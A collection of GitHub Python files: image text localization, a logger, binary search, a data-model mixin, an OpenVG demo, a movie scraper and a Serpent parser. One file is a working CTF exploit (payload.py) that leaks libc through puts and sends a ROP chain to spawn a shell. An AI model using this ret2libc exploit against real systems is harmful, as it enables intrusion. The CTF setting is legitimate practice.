\"ICDAR-img_59\", \"ICDAR-img_61\",\n# \"ICDAR-img_65\", \"ICDAR-img_73\", \"ICDAR-img_71\", \"ICDAR-img_75\", \"ICDAR-img_76\",\n# \"ICDAR-img_80\", \"ICDAR-img_91\", \"ICDAR-img_96\", \"ICDAR-img_105\", \"ICDAR-img_106\",\n# \"ICDAR-img_107\", \"ICDAR-img_108\", \"ICDAR-img_121\", \"ICDAR-img_125\", \"ICDAR-img_131\",\n# \"ICDAR-img_133\", \"ICDAR-img_134\", \"ICDAR-img_135\"]\nimgs = [\"12YearsAsSlave\", \"AliceInWonderland\", \"AntMan\", \"Avatar\", \"Avengers\", \"AvengersII\", \"Batman\", \"BeyondBorders\",\n \"BlackPanther\", \"BourneLegacy\", \"CapitainAmerica\", \"CitizenKane\", \"DespicableMe2\", \"Django\", \"Eclipse\", \"EdAstra\",\n \"Frankenweenie\", \"Frankie\", \"GeminiMan\", \"GoodFellas\", \"HorribleBosses\", \"Hustlers\", \"IceAge4\", \"IronMan2\", \"It\",\n \"Jexi\", \"Joker\", \"KingKong\", \"KillingThemSoftly\", \"LastStand\", \"LesMiserables\", \"Maleficent\", \"MeetJoeBlack\", \"MockingjayI\",\n \"Mortdecai\", \"Spotlight\", \"StarWars\", \"StarWarsIV\", \"Super8\", \"Synonyms\", \"Tangled\", \"The GoodFather\", \"TheAviator\",\n \"TheCurrentWar\", \"TheHangoover2\", \"Tintin\", \"Titanic\", \"WakingWaves\", \"WallE\", \"WonderWoman\", \"WorldWarZ\", \"XMen\"]\n#imgs = [\"text_img0002\", \"text_img0005\", \"text_img0008\", \"text_img0011\", \"text_img0014\", \"text_img0017\", \"text_img0020\",\n# \"text_img0021\", \"text_img0025\", \"text_img0028\", \"text_img0031\"]\nextensao = \".jpg\"\npath = \"Resultados\\\\\"\nf = open(path+\"Cartazrs.txt\", \"w\")\nf.write(\"Execução para Cartazes de Filmes: \\n\\n\")\nfor imagem in imgs:\n ImgRGB, ImgPB = LeImg(imagem + extensao)\n print(imagem)\n f.write(\"Imagem: \" + imagem)\n #Filtro Mediana\n ImgPBM = Mediana(ImgPB)\n #MostraImg(\"Imagem Cinza Mediana\", ImgPBM)\n\n #Edge Detection Algorithm: Usa Canny completo para detecção de bordas e Filtros de Sobel para Magnitude e Teta (pq canny usa Sobel internamente, embora Prewitt talvez seja melhor pra H e V)\n SobelX, SobelY = Sobel(ImgPBM)\n SobelMag = SobelX + SobelY\n TetaSobel = Teta(SobelX, SobelY)\n ImgCanny = Canny(ImgPBM, SobelMag)\n #MostraImg(\"Canny\", ImgCanny)\n cv2.imwrite(str(path+imagem+\" - 0SobelMag\"+extensao), SobelMag)\n cv2.imwrite(str(path+imagem+\" - 0BordasCanny\"+extensao), ImgCanny)\n\n #Encontra os componetes conectados e os rotula ImgCC\n #Aplica o Bounding Box de acordo com os componentes conectados e retorna a imagem \"limpa\", apenas com os boxes ImgBB\n ImgCCSimple = ConnectedComponents(ImgCanny)\n ImgCC, stats, centroids, nlabels = ConnectedComponentsStats(ImgCanny)\n ImgRGBCopy = CriaBoundingBoxes(stats, ImgRGB)\n cv2.imwrite(str(path+imagem+\" - 1BBSimples\"+extensao), ImgRGBCopy)\n f.write(\"\\nTotal de Componentes Conectados: \" + str(nlabels))\n #Aplica critérios de seleção e exclusão de BBs de acordo com algumas características da imagem\n\n # Análise sobre área dos BBs: Envia as estatísticas dos CCs, que tem informação de altura, largura e etc e devolve uma nova lista de stats\n stats, ImgRGBCopy = BBAreasSelection(stats, ImgRGB)\n cv2.imwrite(str(path + imagem + \" - 2BBAreas\" + extensao), ImgRGBCopy)\n f.write(\"\\nTotal de Componentes Após Remoção de Regiões Não Texto - Áreas: \" + str(stats.shape[0]))\n # Remove BB inside\n stats, ImgRGBCopy = RemoveInsideCCs(stats, ImgRGB)\n cv2.imwrite(str(path + imagem + \" - 3BBChilds\" + extensao), ImgRGBCopy)\n f.write(\"\\nTotal de Componentes Após Redução de BB - InsideBoxes: \" + str(stats.shape[0]))\n #Análise de Densidade x Gradiente\n stats, ImgRGBCopy = BBGradientSelection(stats, ImgRGB, SobelMag, TetaSobel, ImgCC)\n cv2.imwrite(str(path+imagem+\" - 4BBMags\"+extensao), ImgRGBCopy)\n f.write(\"\\nTotal de Componentes Após Remoção de Regiões Não Texto - Gradiente: \" + str(stats.shape[0]))\n # Identifica o ROI de acordo com a maior média da magnitude\n MaxCount, MaxMedia, MaxDensity = MagnitudeRegiao(SobelMag, ImgRGBCopy, stats, ImgCC)\n f.write(\"\\nRegião com maior contagem de BBs: \" + str(MaxCount) + \"; Maior Media Gradiente: \" + str(MaxMedia) + \"; Maior Densidade: \" + str(MaxDensity))\n #NovoStats, pesos = cv2.groupRectangles(list(stats[1:,:4]), 0, 0.)\n #if len(NovoStats) != 0 :\n # cv2.imwrite(str(path + imagem + \" - 6LinkingBBs\" + extensao), CriaBoundingBoxes(NovoStats, ImgRGB))\n\n #vis, text_only = MSER(ImgPBM)\n #cv2.imwrite(str(path + imagem + \" - 8MSERImg\" + extensao), vis)\n #cv2.imwrite(str(path + imagem + \" - 8MSERTextOnly\" + extensao), text_only)\n #SWT(ImgCanny, imagem)\n f.write(\"\\n=-=-=-=-=-=- ###### =-=-=-=-=-=-=- \\n\\n\")\nf.close()\n","repo_name":"Donegas/TextLocalization","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":25465,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27918311240","text":"import time\n\nfileObj = open('./run.log', 'a+', encoding='utf-8')\ndef printLog(msg):\n\ttry:\n\t\tif type(msg) != str:\n\t\t\tmsg = str(msg)\n\t\tmsg = time.strftime('%Y-%m-%d %H:%M:%S') + ': ' + msg\n\t\tprint(msg)\n\t\tfileObj.write(msg + '\\n')\n\t\tfileObj.flush()\n\texcept Exception as e:\n\t\tprint(e)\n","repo_name":"hewenhan/xReportGenerator","sub_path":"libs/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"it","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"21244265054","text":"import bisect\n\nfrom test_framework import generic_test\n\"\"\"\nBasic algorithm: My first approach was to do a binary search and once\nthe first index where A[i] == k, iterate backwards to find the\nfirst occurrence of that element. Binary search takes (log n), but traversing\nbackwards takes O(n)\n\nKey Idea: In a binary search, the fundamental idea is to maintain a set of\ncandidate results. For the problem below, if we see an element at index i\nwhich is equal to k, we don't know if it is the first element equal to k, but\nwe do know it no subsequent elements can be the first one. Therefore, we consider\nall elements with index i - 1 or less from the candidates\n\n[ ATTEMPTED ] - 6/5, Solved, but didn't get optimal time complexity\n\"\"\"\ndef search_first_of_k(A, k):\n L, R, res = 0, len(A) - 1, -1\n while L <= R:\n mid = L + (R - L) // 2\n if A[mid] < k:\n L = mid + 1\n elif A[mid] == k:\n # In the worst case, this is O(N)\n while mid > -1 and A[mid] == k:\n mid -= 1\n return mid + 1\n else:\n R = mid - 1\n return res\n\ndef search_first_of_k(A, k):\n\n left, right, result = 0, len(A) - 1, -1\n # A[left:right + 1] is the candidate set.\n while left <= right:\n mid = (left + right) // 2\n if A[mid] > k:\n right = mid - 1\n elif A[mid] == k:\n result = mid\n right = mid - 1 # Nothing to the right of mid can be solution.\n else: # A[mid] < k.\n left = mid + 1\n return result\n\n\n# Pythonic solution\ndef search_first_of_k_pythonic(A, k):\n i = bisect.bisect_left(A, k)\n return i if i < len(A) and A[i] == k else -1\n\n\nif __name__ == '__main__':\n exit(\n generic_test.generic_test_main(\n \"search_first_key.py\", 'search_first_key.tsv', search_first_of_k))\n","repo_name":"aarboleda1/Elements-Of-Programming-Interviews","sub_path":"epi_judge_python_solutions/search_first_key.py","file_name":"search_first_key.py","file_ext":"py","file_size_in_byte":1844,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"7045285731","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Created by pat on 4/4/18\n\"\"\"\n.. currentmodule:: base\n.. moduleauthor:: Pat Daburu \n\nThe GeoAlchemy declarative base for the data model is defined in this module\nalong with some other helpful classes.\n\"\"\"\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy import String, DateTime\nfrom .geometry import GeometryTypes\nfrom .meta import column, ColumnMeta, Requirement\nfrom .types import GUID\n\n\nBase = declarative_base() #: This is the model's declarative base. pylint: disable=invalid-name\n\n\nclass ModelMixin(object):\n \"\"\"\n This mixin includes columns and methods common to objects within the\n data model.\n \"\"\"\n __geoattr__ = 'geometry' #: the name of the geometry column attribute\n\n \"\"\"\n This is the parent class for all entity classes in the model. It defines\n common fields.\n \"\"\"\n gcUnqId = column(\n GUID,\n meta=ColumnMeta(\n label='GeoComm ID',\n guaranteed=True,\n calculated=True\n ),\n primary_key=True\n )\n\n srcOfData = column(\n String,\n ColumnMeta(\n label='Data Source'\n )\n )\n\n srcLastEd = column(\n DateTime,\n ColumnMeta(\n label='Source of Last Update'\n )\n )\n\n uploadAuth = column(\n String,\n ColumnMeta(\n label='Upload Authority'\n )\n )\n\n updateDate = column(\n DateTime,\n ColumnMeta(\n label='Last Update'\n )\n )\n\n effective = column(\n DateTime,\n ColumnMeta(\n label='Effective Date',\n requirement=Requirement.REQUESTED\n )\n )\n\n expire = column(\n DateTime,\n ColumnMeta(\n label='Expiration Date',\n requirement=Requirement.REQUESTED\n )\n )\n\n srcUnqId = column(\n String,\n ColumnMeta(\n label='NENA ID',\n nena='RCL_NGUID',\n requirement=Requirement.REQUESTED\n )\n )\n\n @classmethod\n def geometry_type(cls) -> GeometryTypes:\n \"\"\"\n Get the geometry type defined for the model class.\n\n :return: the geometry type\n \"\"\"\n try:\n # Get the string that identifies the geometry type.\n gt_str = cls.__table__.c[cls.__geoattr__].type.geometry_type\n # The string should correspond to one of the supported types.\n gtyp = GeometryTypes[gt_str]\n # Return that value.\n return gtyp\n except KeyError:\n return GeometryTypes.NONE\n","repo_name":"patdaburu/gcudm","sub_path":"gcudm/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":2614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"5560268542","text":"import pygame\r\nimport Image\r\n\r\nfrom OpenVG import VG\r\nfrom OpenVG.constants import *\r\n\r\nRGBA_masks = (-16777216, 16711680, 65280, 255)\r\n\r\ndef load_image(path):\r\n surf = pygame.image.load(path).convert(RGBA_masks)\r\n\r\n im = VG.Image(VG_sRGBA_8888, surf.get_size())\r\n im.sub_data(surf.get_buffer(),\r\n VG_sRGBA_8888, surf.get_pitch(),\r\n (0,0), surf.get_size(),\r\n flip=True)\r\n\r\n return im\r\n\r\nmode_table = {\r\n VG_sRGBX_8888:(\"RGBX\", \"XBGR\"),\r\n VG_sRGBA_8888:(\"RGBA\", \"ABGR\"),\r\n VG_sRGBA_8888_PRE:None,\r\n VG_sRGB_565:None,\r\n VG_sRGBA_5551:None,\r\n VG_sRGBA_4444:None,\r\n VG_sL_8:(\"L\", \"L\"),\r\n VG_lRGBX_8888:(\"RGBX\", \"XBGR\"),\r\n VG_lRGBA_8888:(\"RGBA\", \"ABGR\"),\r\n VG_lRGBA_8888_PRE:None,\r\n VG_lL_8:(\"L\", \"L\"),\r\n VG_A_8:(\"A\", \"A\"),\r\n VG_BW_1:(\"1\", \"1\"),\r\n VG_sXRGB_8888:(\"RGBX\", \"RGBX\"),\r\n VG_sARGB_8888:(\"RGBA\", \"RGBA\"),\r\n VG_sARGB_8888_PRE:None,\r\n VG_sARGB_1555:None,\r\n VG_sARGB_4444:None,\r\n VG_lXRGB_8888:(\"RGBX\", \"RGBX\"),\r\n VG_lARGB_8888:(\"RGBA\", \"RGBA\"),\r\n VG_lARGB_8888_PRE:None,\r\n VG_sBGRX_8888:(\"RGBX\", \"XRGB\"),\r\n VG_sBGRA_8888:(\"RGBA\", \"ARGB\"),\r\n VG_sBGRA_8888_PRE:None,\r\n VG_sBGR_565:None,\r\n VG_sBGRA_5551:None,\r\n VG_sBGRA_4444:None,\r\n VG_lBGRX_8888:(\"RGBX\", \"XRGB\"),\r\n VG_lBGRA_8888:(\"RGBA\", \"ARGB\"),\r\n VG_lBGRA_8888_PRE:None,\r\n VG_sXBGR_8888:(\"RGBX\", \"XBGR\"),\r\n VG_sABGR_8888:(\"RGBA\", \"ABGR\"),\r\n VG_sABGR_8888_PRE:(\"RGBA\", \"RGBa\"),\r\n VG_sABGR_1555:None,\r\n VG_sABGR_4444:None,\r\n VG_lXBGR_8888:(\"RGBX\", \"RGBX\"),\r\n VG_lABGR_8888:(\"RGBA\", \"RGBA\"),\r\n VG_lABGR_8888_PRE:(\"RGBA\", \"RGBa\")}\r\n\r\ndef to_image(im):\r\n data = im.get_sub_data(None, ((0,0), im.size), im.format, im.stride)\r\n try:\r\n mode, raw_mode = mode_table[im.format]\r\n except TypeError:\r\n raise NotImplementedError\r\n return Image.frombuffer(mode, im.size, data, \"raw\", raw_mode, 0, -1)\r\n\r\ndef dump_image(im):\r\n image = to_image(im)\r\n image.save(\"out.jpg\")\r\n\r\ndef main(width, height, path, flags=0):\r\n pygame.init()\r\n \r\n pygame.display.gl_set_attribute(pygame.GL_STENCIL_SIZE, 2)\r\n\r\n flags |= pygame.OPENGL | pygame.DOUBLEBUF\r\n \r\n screen = pygame.display.set_mode((width, height), flags)\r\n pygame.display.set_caption(\"Pygame Image Draw Test\")\r\n \r\n VG.create_context((width, height))\r\n VG.set(VG_CLEAR_COLOR, (1.0, 1.0, 1.0, 1.0))\r\n\r\n im = load_image(path)\r\n dump_image(im)\r\n\r\n dest_x = (width-im.width)/2.0\r\n dest_y = (height-im.height)/2.0\r\n dragging = False\r\n \r\n running = True\r\n while running:\r\n events = pygame.event.get()\r\n for e in events:\r\n if e.type == pygame.QUIT:\r\n running = False\r\n elif e.type == pygame.KEYDOWN:\r\n if e.key == pygame.K_ESCAPE:\r\n running = False\r\n elif e.type == pygame.MOUSEBUTTONDOWN:\r\n if e.button == 1:\r\n dragging = True\r\n elif e.type == pygame.MOUSEBUTTONUP:\r\n if e.button == 1:\r\n dragging = False\r\n elif e.type == pygame.MOUSEMOTION:\r\n if dragging:\r\n dest_x += e.rel[0]\r\n dest_y -= e.rel[1]\r\n\r\n VG.clear((0, 0), (width, height))\r\n \r\n VG.set(VG_MATRIX_MODE, VG_MATRIX_IMAGE_USER_TO_SURFACE)\r\n VG.load_identity()\r\n \r\n VG.translate(dest_x, dest_y)\r\n\r\n im.draw()\r\n \r\n pygame.display.flip()\r\n\r\nif __name__ == '__main__':\r\n main(640, 480, \"data/images/donkoose.jpg\")\r\n","repo_name":"mayeranalytics/pyopenvg","sub_path":"examples/image_draw.py","file_name":"image_draw.py","file_ext":"py","file_size_in_byte":3611,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"7430808397","text":"class Book:\n def __init__(self, name, author, year, page_number, isbn, totalNumber):\n self.name = name\n self.author = author\n self.year = year\n self.page_number = page_number\n self.isbn = isbn\n self.totalNumber = totalNumber\n\n def __str__(self):\n return self.name + \" & \" + self.author + \" & \" + str(self.year) + \" & \" + str(self.page_number) + \" & \" + self.isbn + \" & \" + str(self.totalNumber)\n","repo_name":"denizterziler/OOP_Project_Library","sub_path":"Book.py","file_name":"Book.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21823518903","text":"#!/usr/bin/python3\nfrom pwn import *\nimport argparse\n\n# ===========================================================\n# SETUP FUNCTIONS\n# ===========================================================\n\ndef print_message():\n cDFL = \"\\033[0m\"\n cBLK = \"\\033[1;30m\"\n cRED = \"\\033[1;31m\"\n cGRN = \"\\033[1;32m\"\n cYLW = \"\\033[1;33m\"\n cBLU = \"\\033[1;34m\"\n\n text = \"\"\"\n┌───────────────────────────────┐\n│ RUNNING EXPLOIT │\n│ │\"\"\"\n\n if (args.debug):\n text += f\"\"\"\n│ DEBUGGING {cGRN}ENABLED{cDFL} │\"\"\"\n else:\n text += f\"\"\"\n│ DEBUGGING {cRED}DISABLED{cDFL} │\"\"\"\n\n if (args.interactive):\n text += f\"\"\"\n│ INTERACTIVE {cGRN}ENABLED{cDFL} │\"\"\"\n else:\n text += f\"\"\"\n│ INTERACTIVE {cRED}DISABLED{cDFL} │\"\"\"\n\n if (args.gdb):\n text += f\"\"\"\n│ RUNNING {cYLW}GDB{cDFL} │\n└───────────────────────────────┘\n\"\"\"\n elif (args.remote):\n text += f\"\"\"\n│ RUNNING {cBLU}REMOTE EXPLOIT{cDFL} │\n└───────────────────────────────┘\n\"\"\"\n else:\n text += f\"\"\"\n│ RUNNING {cBLK}LOCAL EXPLOIT{cDFL} │\n└───────────────────────────────┘\n\"\"\"\n\n print(text)\n\ndef initIO():\n print_message()\n if (args.debug):\n context.log_level = \"debug\"\n\n if (args.gdb):\n return pwnlib.gdb.attach(elf.process(), gdbscript=script)\n if (args.remote):\n return remote(server, port)\n return elf.process()\n\ntop_parser = argparse.ArgumentParser()\n\nrunning = top_parser.add_mutually_exclusive_group()\nrunning.add_argument(\"-g\", \"--gdb\", action=\"store_true\", dest=\"gdb\", help=\"connect to gdb\")\nrunning.add_argument(\"-r\", \"--remote\", action=\"store_true\", dest=\"remote\", help=\"connect to remote\")\nrunning.add_argument(\"-l\", \"--local\", action=\"store_true\", dest=\"local\", help=\"connect to local\", default=True)\n\ntop_parser.add_argument(\"-d\", \"--debug\", action=\"store_true\", dest=\"debug\", default=False, help=\"enable/disable debugging\")\ntop_parser.add_argument(\"-i\", \"--interactive\", action=\"store_true\", dest=\"interactive\", default=False, help=\"enable/disable interactive\")\nargs = top_parser.parse_args()\n\n# ===========================================================\n# CONFIG SETUP\n# ===========================================================\n\nfrom ctypes import CDLL\nfrom ctypes.util import find_library\n\n# LOCAL\nfile = \"./pwnworld\"\nlibc = ELF(\"./libc.so.6\")\nrand = CDLL(find_library('c'))\nif (file != \"\"):\n elf = context.binary = ELF(file, checksec=False)\n\n# REMOTE\nserver = \"ctf-gemastik.ub.ac.id\"\nport = 10012\n\n# GDB\ncontext.terminal = \"kitty\"\nscript = \"\"\"\nb* main+211\n\"\"\"\n\n# ===========================================================\n# EXPLOIT GOES HERE\n# ===========================================================\n\ndef get_random():\n time = rand.time(0)\n rand.srand(time)\n number = rand.rand()\n\n payload = number - ((((((number * 0x274a4871) >> 0x20) & 0xFFFFFFFF) >> 6) - (number >> 0x1f)) * 0x1a1)\n\n io.sendline(str(payload).encode())\n\nio = initIO()\n\nio.recvuntil(b'guess? ')\n\nget_random()\n\nio.recvuntil(b'you: 0x')\ngift_leak = int(io.recvline(False), 16)\n\nelf.address = gift_leak - elf.sym['gift']\n\npop_rdi = next(elf.search(asm('pop rdi; ret')))\nprint(f'pop rdi: {pop_rdi:x}')\n\n#pwnlib.gdb.attach(io, gdbscript=script)\n\noffset = 280\n\npayload = flat(\n b'A' * offset,\n pop_rdi,\n elf.got['puts'],\n elf.plt['puts'],\n elf.sym['main']\n)\n\nio.sendline(payload)\n\nio.recvuntil(b'yaa\\n')\n\nget_random()\n\nputs_leak = u64(io.recvline(False) + b'\\x00\\x00')\n\nprint(f'pop rdi: {pop_rdi:x}')\nprint(f'puts leak: {puts_leak:x}')\n\nlibc.address = puts_leak - libc.sym['puts']\n\nsystem = libc.sym['system']\nbinsh = next(libc.search(b'/bin/sh'))\n\nprint(f'system: {system:x}')\nprint(f'binsh: {binsh:x}')\n\npayload = flat(\n b'A' * (offset-8),\n b'B' * 8,\n #libc.sym['system']\n pop_rdi+1,\n pop_rdi,\n binsh,\n system,\n 0x0 \n)\n\nio.sendline(payload)\n\nif (args.interactive):\n io.interactive()\n","repo_name":"frankiehuangg/CTFs","sub_path":"Writeups/Offline/Gemastik Preliminaries/Pwnworld/payload.py","file_name":"payload.py","file_ext":"py","file_size_in_byte":4356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"69821854508","text":"#!/usr/bin/env python\n\n\"\"\"\nUtilities for manipulating data types.\n\n - true_or_false\n - is_string_float\n - is_string_int\n - print_dict\n\"\"\"\n\nimport sys\n\n\ndef true_or_false(a):\n \"\"\" \n Convert yes or no into True or False\n\n Parameters\n ----------\n a : str\n The variable that can be 'y', 'Y', 'yes',\n 'YES', 'Yes', 'n', 'N', 'no', 'No', 'NO'\n\n Returns\n -------\n bool\n True (for 'yes') or False (for 'no').\n \"\"\"\n if a.lower().strip() == 'yes' or a.lower().strip() == 'y':\n return True\n elif a.lower().strip() == 'no' or a.lower().strip() == 'n':\n return False\n else:\n raise Exception('Not a valid [y/n] entry')\n\n\ndef is_string_float(string):\n \"\"\"\n Check if input string is float. If a float, return True, else return False\n\n Parameters\n ----------\n string : str\n String to check\n\n Returns\n -------\n bool\n True if input is float, else False\n \"\"\"\n try:\n int(string)\n except ValueError:\n try:\n float(string)\n except ValueError:\n return False\n else:\n return True\n else:\n return False\n\n\ndef is_string_int(string):\n \"\"\"\n Check if input string is int. If int, return True, else return False\n\n Parameters\n ----------\n string : str\n String to check\n\n Returns\n -------\n bool\n True if input is integer, else False\n\n \"\"\"\n try:\n int(string)\n except ValueError:\n return False\n else:\n return True\n\n\ndef print_dict(d, fout=None):\n \"\"\"\n Print dict d to fout (open file handle)\n\n Parameters\n ----------\n d : dict\n Dictionary to print\n fout : \n File handle, can be 'sys.stdout'\n \"\"\"\n if not fout:\n fout = sys.stdout\n\n for key in d.keys():\n fout.write(f'{key:15}:: {d[key]}\\n')\n","repo_name":"dkouatch/ASSERT","sub_path":"assert/src/lib/utils/datatypes.py","file_name":"datatypes.py","file_ext":"py","file_size_in_byte":1884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9705184573","text":"\"\"\"Implementation of a DynamicArray class, using a raw array from the ctypes\nmodule as storage.\"\"\"\n\nimport ctypes # module providing low-level arrays\n\nclass DynamicArray:\n \"\"\"A dynamical array class akin to a simplified Python list.\"\"\"\n\n def __init__(self):\n \"\"\"Create an empty erray.\"\"\"\n self._length = 0 # count actual elements\n self._capacity = 1 # default array capacity\n self._array = self._make_array(self._capacity) # low level array\n\n def __len__(self):\n \"\"\"Return number of elements stored in the array.\"\"\"\n return self._length\n\n def __getitem__(self, k):\n \"\"\"Return element at index k.\"\"\"\n if not 0 <= k < self._length:\n raise IndexError(\"invalid index\")\n return self._array[k]\n\n def __setitem__(self, k, obj):\n \"\"\"Set element at index k to obj.\"\"\"\n if not 0 <= k < self._length:\n raise IndexError(\"invalid index\")\n self._array[k] = obj\n\n def append(self, obj):\n \"\"\"Add object to the end of the array.\"\"\"\n if self._length == self._capacity:\n self._resize(2 * self._capacity)\n self._array[self._length] = obj\n self._length += 1\n\n def insert(self, k, value):\n \"\"\"Insert value at index k, shifting subsequent values rightward.\"\"\"\n # for simplicity, we assume 0<=k<=n in this version\n if not 0 <= k <= self._length:\n raise IndexError(\"invalid index\")\n if self._length == self._capacity:\n self._resize(2 * self._capacity)\n for j in range(self._length, k, -1):\n self._array[j] = self._array[j-1]\n self._array[k] = value\n self._length += 1\n\n def __delitem__(self, k):\n \"\"\"Remove value at index k.\"\"\"\n self.pop(k)\n\n def pop(self, k=None):\n \"\"\"Pop value at index k, shifting subsequent values leftward.\"\"\"\n if k is None: # default k\n k = self._length - 1\n\n if self._length == 0:\n raise IndexError(\"pop from empty list\")\n\n # for simplicity, we assume 0<=k 18:\n print('you can drink!')\n elif age > 10 and age < 18:\n print('you have to wait to drink')\n else:\n print('kid! are you crazy?')\n \n # conditional assignment\n text = 'TEXT1' if age > 10 else 'TEXT2'\n print(text)\n # you need to include else\n # text = 'TEXT1' if age > 10\n # print(text)\n \n \n \n my_list = [1,2,3]\n if 3 in my_list:\n print(\"Found!\")\n \n if 5 not in my_list:\n print('Not found')\n \n my_list2 = [1,2,3]\n # check refs\n \n if my_list is my_list2:\n # it will not be printed\n print('Same')\n \n if my_list is not my_list2:\n print('Not Same')\n\nif __name__ == '__main__':\n main()","repo_name":"alexprodan99/python-workspace","sub_path":"python-essential-training/3_conditionals/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30370248771","text":"# https://www.ygdy8.net/html/gndy/china/index.html\n#\n# 抓取 国内电影 板块, 第一页中所有电影的信息\n#\n# 包括 电影海报、片名、年代、主演。\n#\n# 把结果存储为json数据。\n#\n# 例如:\n#\n# [\n#\n# {\n#\n# 'img': '',\n#\n# 'name': '长安道/长安盗',\n#\n# 'year': '2019',\n#\n# 'actors': '范伟 Wei Fan, 宋洋 Yang Song'\n#\n# },\n#\n# {\n#\n# 'img': '',\n#\n# 'name': '河妖',\n#\n# 'year': '2019',\n#\n# 'actors': '林子聪 Tze Chung Lam, 徐冬冬 Dongdong Xu'\n#\n# }\n#\n# ]\nimport requests\nimport os\nfrom lxml import etree\nimport re\nimport json\n\nheaders = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36'\n}\n\ncon = requests.get(url='https://www.ygdy8.net/html/gndy/china/index.html', headers=headers)\n\ncon.encoding = 'GBK'\n# con.encoding = 'gb2312'\n\nhtml = etree.HTML(con.text)\n\nurls = html.xpath('//table[@class=\"tbspan\"]//a[2]/@href')\n\n\n\n\nfor url in urls:\n req = requests.get('https://www.ygdy8.net/' + url, headers=headers)\n req.encoding = 'GBK'\n html2 = etree.HTML(req.text)\n img = html2.xpath('//div[@id=\"Zoom\"]//img/@src')\n # desc = html2.xpath('//div[@id=\"Zoom\"]')\n # txt_str = ''.join(desc)\n\n # res = re.search(r'◎片  名(.*?)◎年  代(.*?)◎产.*?◎主  演(.*?)◎标.*?')\n\n name = re.findall(r'◎片  名\\s(.*?)<.*?
    ', req.text, re.S)\n year = re.findall(r'◎年  代\\s(.*?)<.*?
    ', req.text, re.S)\n actor = re.findall(r'◎主  演(.*?)◎.*?
    ', req.text, re.S)\n # print(year)\n ht = etree.HTML(actor[0])\n desc = ht.xpath('//text()')\n str = ''.join(desc)\n\n actor = re.sub(r'\\s{3,}', ',', str)\n # print(actor)\n data_list = []\n data_list.append({\n 'img': img[0],\n 'name': name[0],\n 'year': year[0],\n 'actor': actor\n })\n\n with open('dianying.json', 'a', encoding='utf-8') as fp:\n json.dump(data_list, fp, ensure_ascii=False)\n\n","repo_name":"fufuzzz/note","sub_path":"爬虫/day07/代码/04_电影天堂.py","file_name":"04_电影天堂.py","file_ext":"py","file_size_in_byte":2101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21359176649","text":"# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"\nCreated May 9th, 2019\n\n@author: alfoa\n\"\"\"\n#External Modules--------------------begin\nimport csv\n#External Modules--------------------end\n\n#Internal Modules--------------------begin\n#Internal Modules--------------------end\n\ndef parseLine(line):\n \"\"\"\n Parse composition line by deleting whitespace and separating the isotope and atomic density.\n @ In, line, string, line of isotope and composition\n @ Out, result, tuple, (isotope, atomic density)\n \"\"\"\n line = line.lstrip()\n isotope, atomDensity = line.split(\" \")\n result = (isotope, float(atomDensity))\n return result\n\ndef filterTrace(compDict, percentCutoff):\n \"\"\"\n Filters isotopes with less than percentCutoff for easier calculation.\n @ In, compDict, dictionary, key=isotope\n value=atomic density\n @ In, percentCutoff, float, cutoff threshold for ignoring isotopes (0 -1)\n @ Out, comptDict, dictionary, key=isotope\n value=compDict\n \"\"\"\n # check if percentCutoff value is valid\n if percentCutoff < 0 or percentCutoff > 1:\n raise ValueError('Percent has to be between 0 and 1')\n\n # calculate atomicDensityCutoff\n totalAtomicDensity = sum(compDict.values())\n atomicDensityCutoff = percentCutoff * totalAtomicDensity\n\n # delete list since cannot change dictionary during iteration\n deleteList = []\n for key, atomDensity in compDict.items():\n if atomDensity < atomicDensityCutoff:\n deleteList.append(key)\n\n # delete the isotopes with less than percentCutoff\n for isotope in deleteList:\n del compDict[isotope]\n return compDict\n\ndef bumatRead(bumatFile, percentCutoff):\n \"\"\"\n Reads serpent .bumat output file and stores the composition in a dictionary.\n @ In, bumatFile, string, bumat file path\n @ In, percentCutoff, float, cutoff threshold for ignoring isotopes (0 -1)\n @ Out, compDict, dictionary, key=isotope\n value=atomic density\n \"\"\"\n compLines = open(bumatFile,\"r\").readlines()[5:]\n compDict = {}\n header = compLines.pop(0)\n for line in compLines:\n parsed = parseLine(line)\n # isotope as key, atomic density as value\n compDict[parsed[0]] = parsed[1]\n\n compDict = filterTrace(compDict, percentCutoff)\n return compDict\n\ndef searchKeff(resFile):\n \"\"\"\n Searches and returns the mean keff value in the .res file.\n @ In, resFile, string, path to .res file\n @ Out, keffDict, dict, key = keff or sd\n value = list of keff or sd\n \"\"\"\n lines = open(resFile,\"r\").readlines()\n\n keffList = []\n sdList = []\n keffDict = {}\n\n for line in lines:\n if 'IMP_KEFF' in line:\n keffList.append(keffLineParse(line)[0])\n sdList.append(keffLineParse(line)[1])\n\n 